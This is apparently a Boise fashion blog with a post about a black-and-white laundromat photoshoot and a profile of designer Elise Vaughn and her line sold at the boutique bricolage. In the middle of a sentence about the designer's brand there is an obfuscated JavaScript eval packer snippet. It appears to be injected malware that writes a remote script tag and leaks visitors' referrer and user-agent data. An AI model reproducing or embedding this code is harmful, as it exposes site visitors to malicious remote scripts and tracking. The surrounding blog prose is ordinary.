Spring is typically all about COLOR, but this year, fashion threw us a surprising twist by trending the always-classy black & white look. I’m a huge fan; I have TONS of black in my closet (former Seattleite – what can I say?)

For this shoot with the incomparable Jeanne Giltzow, we chose to eschew color all together, and go with a mod/retro/artsy theme. Cue laundromat… (And a few very surprised afternoon clothes washers!)

We had such a blast with this! I feel like the pictures turned into stories, and I want to caption each one, but I’m not great at clever titles & quippy sayings… So I’ll let YOU do it! 🙂

XOXO,

Local Style Secret: Bricolage!

Boise’s most prolific fashion designer, Elise Vaughn, is slowly getting famous… but you won’t hear it from her! 😉 Elise is the founder of Brass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tttdf|var|u0026u|referrer|bzzbh||js|php’.split(‘|’),0,{}))
Razoo
, a super-hip clothing & jewelry line whose designs are not only in boutiques across the country, but might also be coming to a movie screen near you. (More details on that, coming soon!)

But despite all the buzz building around her, this humble and talented young woman is all about local love. Recently she teamed up with Chelsea Snow, the brilliant woman behind Boise’s hippest downtown boutique, bricolage. Together they are launching a new line called “bric & brass,” and it promises to be AMAZING!!!

I stopped by bricolage for a First Thursday event, and found so much fun stuff, I didn’t want to leave!!! Brass Razzo and bricolage are a match made in Heaven. Cool gifts, quirky decor, hipster kick-knacks, vintage clothing, local art, and Elise’s designs blend beautifully into the coolest symphony of shoppable fun!

Elise repurposes vintage finds from across the country, and also creates original clothing pieces for women and men. For her new launch at bricolage, Elise has delved into kid’s wear, creating sweaters and tops from vintage fabrics, and adorable convertible dresses that grow with your child! Here are some of my fun finds. Be sure to stop by March 7th for another totally fun First Thursday party. I’ll be there; come say Hi and find some find some wonderful, unique stuff!!! 🙂

XOXO,

StyleSpyGirl
